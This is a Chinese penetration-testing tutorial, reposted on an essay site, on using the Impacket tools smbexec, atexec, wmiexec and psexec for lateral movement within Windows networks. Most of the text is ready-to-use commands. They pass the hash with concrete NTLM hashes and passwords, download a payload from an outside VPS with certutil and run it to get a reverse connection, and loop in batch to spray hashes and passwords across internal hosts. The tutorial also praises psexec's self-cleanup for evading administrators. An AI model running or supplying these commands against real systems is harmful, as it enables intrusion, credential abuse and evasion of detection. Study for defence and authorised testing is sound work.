趣文网 > 作文大全

Impacket套件之远程命令执行功能讲解

2020-11-27 21:30:01
相关推荐

文章转载自公众号雷神众测, 作者ycat

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

Impacket官方介绍为用于处理网络协议的Python类的集合,该集合包含了渗透测试中常见的工具种类,包括远程命令执行、信息收集、票据传递、凭据获取、中间人攻击测试等。该套件里的工具使用也是linux主机跳向windows主机的方式之一。

本篇文章主要讲解Impacket套件内远程命令执行工具在实际工作中的使用,其中包含全交互式工具(通常适用于内网环境下或socks代理环境下)、半交互式工具(通常适用于webshell环境下)。应用环境如下。

1.已有权限主机(包含webshell)不可出外网。2.已获取到一些NTLM哈希字符串,但解不出明文密码,无法通过ipc、rpd等登陆目标主机。 3.已有权限主机可以出网,但出于某些原因需要在socks代理或端口转发的环境下进行内网渗透测试。

Impacket套件里远程命令执行工具均支持密码、NTLM、票据认证,本文将会讲到密码和NTLM的使用方式,票据认证使用方式会在后续Impacket票据工具使用中详细讲解。

以下测试环境为已有权限主机:192.XXX.X.144 (win2012)

目标主机:192.XXX.X.76 (win8.1)

测试反弹、下载外网vps ip: 10x.xx.xx.x7

已掌握情况为:当前已获取部分ntlm哈希、密码,并尝试内网横向扩展。

No.3

smbexe

smbexe为全交互式工具,所以不可用于webshell环境,可用于rdp等有交互环境登录使用或socks代理环境下使用。

此处测试环境独立于本篇文章测试环境,仅为说明,本篇文章内Impacket工具使用认证的账号rid必须为500,从winows 2008开始(包括2008),rid不为500的用户,windows都不允许远程连接(包括net use、at、winrm等),所以如果想对目标机远程执行命令,必须使用目标机rid 500的账号(通常为administrator)或域管账号。

通过查看wrw账号,发现该用户处于administrators组

如下图 执行以下两条操作,可发现使用管理组账号wrw进行smbexec.py远程执行命令操作会提示权限不足。

python smbexec.py ./administrator:Win2008@192.XXX.229.157python smbexec.py ./wrw:Win2008@192.XXX.229.157

以下内容继续在测试环境测试在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.XXX.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用域管账号NTLM hash认证对远程主机192.XXX.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe -hashes :518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用域管账号密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe

rootkit/administrator:admin!@#45@192.168.3.76

在socks网络环境下(图中所示socks工具为proxifier),使用local主机密码认证对远程主机192.168.3.76执行命令,smbexec产生一个伪交互的cmd shell

smbexec.exe

./administrator:Win2008@192.168.3.76

在交互shell下,下载可执行程序(msf、cs等任意文件)

certutil -urlcache -split -f

http://10x.xx.xx.x780/lib8.exe

No.4

atexec

atexec是通过windows计划任务执行远程命令,atexec是一个半交互的工具,即参数中添加需要在远程主机执行的命令,工具执行后即返回命令结果,适用于webshell下,也适用于其他网络环境。

某些情况下,当获取到webshell之后,发现该主机不可出外网,且无法创建内网代理,只能通过webshell进行内网渗透测试, 如下图,在蚁剑客户端运行atexec,在远程机器上执行任意命令

atexec.exe

./administrator:Win2008@192.168.3.76 "whoami"

atexec.exe

./administrator:Win2008@192.168.3.76 "ipconfig"

如果网络环境为已有内网socks代理环境,在socks网络环境下(图中所示socks工具为proxifier),可使用密码认证对远程主机192.168.3.76执行命令

atexec.exe

./administrator:Win2008@192.168.3.76 "whoami"

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM hash认证对远程主机192.168.3.76执行命令

atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"

在socks网络环境下(图中所示socks工具为proxifier),使用域管帐户密码认证对远程主机192.168.3.76执行命令,下载可执行程序(如msf、cs、其他任意文件,如密码获取、信息收集等)

atexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 "certutil -urlcache -split -f http://10x.xx.xx.x780/lib8.exe"

在上图下载可执行程序情况下,使用域管帐户密码认证远程执行该程序,使主机反向回连

atexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe"

在上图下载可执行程序情况下,在linux主机下,使用proxychains代理工具,使用atexec远程执行该程序,使主机反向回连注意此处,admin!@#45密码中的"!"需要转义,否则会报错。

proxychains python atexec.py rootkit/administrator:admin!@#45@192.168.3.76 "lib8.exe"

使用远程主机NTLM hash认证对远程主机192.168.3.76执行命令

atexec.exe -hashes

:518b98ad4178a53695dc997aa02d455c rootkit/administrator@192.168.3.76 "whoami"

由此可以写一些简单bat脚本,如批量对内网机器遍历做hash传递验证、指定主机ntlm hash遍历验证、内网机器遍历做密码验证、指定主机密码遍历验证。

内网机器遍历做hash传递验证,ips.txt内容为内网ip,每段一条

FOR /F %%i in (ips.txt) do atexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB821 ./administrator@%%i whoami

指定主机ntlm hash遍历验证,hashes.txt为已知ntlm hash内容,每段一条

FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami

内网机器遍历做密码验证,passwords.txt为已知密码内容,每段一条

FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami

指定主机密码遍历验证,ips.txt内容为内网ip,每段一条

FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami

No.5

wmiexec

wmiexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。

在webshell下,使用域管理员账号密码认证对远程主机192.168.3.76执行命令

wmiexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令

wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,wmiexec 产生一个伪交互的cmd shell

wmiexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76

在linux主机下,使用proxychains代理工具,使用wmiexec对远程主机192.168.3.76执行命令

proxychains python wmiexec.py rootkit/administrator:admin!@#45@192.168.3.76 whoami

在socks网络环境下(图中所示socks工具为proxifier),使用帐号密码认证对远程主机192.168.3.76执行命令

wmiexec.exe

./administrator:Win2008@192.168.3.76 whoami

wmiexec也与atexec一样,可写脚本批量执行命令

No.6

psexec

impacket套件内的psexec是一个即有全交互也有半交互的远程命令执行工具,可运用于多种环境,包括webshell环境、rdp环境、socks环境等。

psexec.exe始于微软的pstools套件, 用于管理员远程管理windows主机资产,在渗透测试中也经常用来对远程计算机执行命令。

与微软官方的psexec.exe做对比,官方psexec.exe执行远程命令会在远程主机创建一个PSEXEC的服务,并且命令执行后会一直存在,容易被管理人员发现并判断有入侵行为。impacket套件内的psexec,执行命令之后会删除对应的服务,隐蔽性更佳,而且impacket套件内的psexec支持PTH(哈希传递)。

与官方psexec相同,impacket套件内的psexec也支持"-c"参数,参数解释如下,即复制本地可执行文件到远程主机并执行

-c pathname copy the filename for later execution, arguments are

passed in the command option

下文所讲述的是impacket套件内的psexec使用方法

在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令

proxychains python psexec.py ./administrator:Win2008@192.168.3.76

在psexec执行过程中,在远程主机192.168.3.76查看服务,发现创建了一个rwzH的服务

psexec执行完毕后,再在远程主机192.168.3.76查看服务,发现rwzH服务已不存在,psexec已自动删除自己创建的服务

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "whoami"

在linux主机下,使用proxychains代理工具,使用psexec.py远程执行命令,注意密码内的"!"需要转义。

proxychains python psexec.py rootkit/administrator:admin!@#45@192.168.3.76 whoami

下面使用"-c"参数远程加载可执行程序,使目标主机反向回连。execute.exe放到与psexec.exe相同目录。首先创建exe可执行文件服务端。

在socks网络环境下(图中所示socks工具为proxifier),使用帐户密码对远程主机192.168.3.76执行命令,使用"-c"参数。

psexec.exe

rootkit/administrator:admin!@#45@192.168.3.76 -c execute.exe

在socks网络环境下(图中所示socks工具为proxifier),使用NTLM HASH认证对远程主机192.168.3.76执行命令,使用"-c"参数。

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 -c execute.exe

如下图,目标主机已正常回连,由于目标主机是双网卡主机,显示内网ip为另外一块网卡的ip。

如果执行的命令需要耗费比较长时间,或加载可执行程序,在webshell执行psexec.exe可能会收不到回显信息(webshell执行命令有超时时间),所以建议把命令执行结果写到一个文件,然后查看文件内容即可。

psexec.exe -hashes :DF92E298362E3E180EC0EE7226AFB825 ./administrator@192.168.3.76 "netstat -an" >log.txt

命令执行回显内容

impacket套件内的psexec也与atexec一样,可写脚本批量执行命令。

阅读剩余内容
网友评论
相关内容
小编推荐

大家都在看

暑假里一件事作文 龙舟节的英语作文 作文母亲的爱600字 中学600字作文 二年级作文小动物100字 万能作文开头排比句 这就是幸福作文 碰碰车作文 祖国在我心中作文300 什么的汉字作文 人景合一的作文 相反作文 传统节日200字作文 关于努力的作文800字 日记大赛作文 作文万金油 小学生筑梦作文 苏州评弹作文 写景状物作文800字 励志作文800字 外公去世作文 反对校园欺凌作文 五年级上六单元作文 初二通讯作文 我的小书屋作文 校园新事作文 保护环境作文四百字 黄角树的作文 李密作文素材 我发现了什么作文350字